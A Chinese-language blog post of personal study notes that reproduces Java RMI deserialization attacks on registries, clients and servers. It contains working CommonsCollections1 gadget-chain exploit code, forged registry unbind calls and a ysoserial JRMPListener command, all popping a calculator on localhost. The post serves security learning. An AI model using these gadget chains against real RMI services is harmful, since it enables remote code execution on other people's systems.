Java-RMI几种攻击
Flow

全文参考

https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F

做一些简单复现,在心里过一遍这个概念

攻击注册中心

之前看代码的时候知道RegistryImpl_Skel#dispatch里面有几个方式,对应关系如下

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind

分别看下面几个方式

利用list()攻击

几个case只有list里面没有readObject,所以没什么攻击面,这里只能简单打印出信息

在RMIClient新建代码

1
2
3
4
5
6
7
8
9
10
// 针对 Registry 的 list 鸡肋攻击  
import java.rmi.Naming;

// 针对 Registry 的 list 鸡肋攻击
public class test {
public static void main(String[] args) throws Exception{
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
}
}

bind()或rebind()

看一下源码,可以看到case0也就是bind里面有readObject

case2的rebind也是(不截图了)

这两个地方都存在反序列化点,参数是我们的参数名和远程对象

现在尝试用CC1,CC1最后面是 InvocationHandler.readObject(),现在我们要让客户端的 bind() 方法执行 readObject()

RMI注册中心(Registry)的 bind() 方法要求绑定的对象必须是 Remote 接口的实现类或其代理对象。直接传入普通对象(如 InvocationHandler)会因类型不匹配被拒绝

这里客户端收到信息是一个proxy对象,让proxy对象被执行的时候去调用readObject,所以我们有一个CC1生成的对象后要给他要一个动态代理的壳,以下是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1(); // cc1链生成的对象
Remote remote = Remote.class.cast(Proxy.newProxyInstance( // 套上一个动态代理的壳
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote); // 绑定执行
}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","111");
Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);
return o;
}
}

rebind同理,直接修改成 registry.rebind("test",remote);也能弹计算机

unbind()和lookup()

这是lookup()和unbind()源码

这两个的思路是差不多的,我们看unbind(),unbind()里面只接收string类型的readObject

这里的思路是攻击者模仿RegistryImpl_Stub的流程伪造请求数据,然后网络传输,服务端Skel处理数据,触发反序列化,然后中间涉及反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class test {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

// RemoteObject
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); // 获取RemoteObject所有成员变量
fields_0[0].setAccessible(true); // 设置RemoteObject第一个成员变量 也就是 ref
UnicastRef ref = (UnicastRef) fields_0[0].get(registry); // 获取ref的值

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields(); // 获取RegistryImpl_Stub所有成员变量
fields_1[0].setAccessible(true); // 设置第一个RegistryImpl_Stub变量也就是Operation
Operation[] operations = (Operation[]) fields_1[0].get(registry); // 获取Operation的值

// 伪造RegistryImpl_Stub里面unbind的代码,去伪造传输信息
// RemoteCall var2 = super.ref.newCall(this, operations, 4, 4905912898345647071L);
// ObjectOutput var3 = var2.getOutputStream();
// var3.writeObject(var1);
// super.ref.invoke(var2);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 4, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","111");
Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);
return o;
}
}

攻击客户端

主要是在 unmarshalValue() 那个地方存在入口类

注册中心攻击客户端

对注册中心来说,有5个方法可以触发,除了unbind和rebind都会返回数据,返回的都是序列化的格式,所以会有客户端反序列化流程,如果我们控制注册中心给客户端发送的数据是恶意的,就能实现对客户端的攻击,这里直接用链子打

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'open -a calculator'

直接起一个1099服务,然后客户端执行

1
2
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
registry.list()

就会弹计算机

服务端攻击客户端
服务端返回恶意Object

远程方法调用的时候返回的数据除了String,还可以是Object,如果是Object就会有反序列化流程,所以操作空间在这里,现在伪造一个恶意的服务端,当被客户端调用的时候返回恶意Object

新建一个User接口

1
2
3
public interface User extends java.rmi.Remote {
public Object getUser() throws Exception;
}

接口实现,里面getUser方法返回一个恶意对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.Serializable;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ServerReturnObject extends UnicastRemoteObject implements User {
public String name;
public int age;

public ServerReturnObject(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

public Object getUser() throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","111");
Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);
return o;
}
}

服务端启动,把恶意对象绑定到注册中心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilClassServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
User liming = new ServerReturnObject("flow",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);

System.out.println("registry is running...");

System.out.println("liming is bind in registry");
}
}

客户端请求恶意方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// 服务端打客户端,返回 Object 对象
public class EVIlClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User)registry.lookup("user");
user.getUser();
}
}

成功弹出计算机

加载远程对象

这部分利用条件太苛刻,不细看了

攻击服务端

这块不是很清晰,先略

小结

有些地方还不是很清晰,总体就是利用返回数据要反序列化这个点打,或者注册中心的几个方法,看起来有些手法已经过时或者太苛刻了,可学性不高。

匆匆写下这些,其实还不够全,后面再补上,本文内容无法做完知识参考,纯粹个人笔记。如有错误,欢迎指正。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep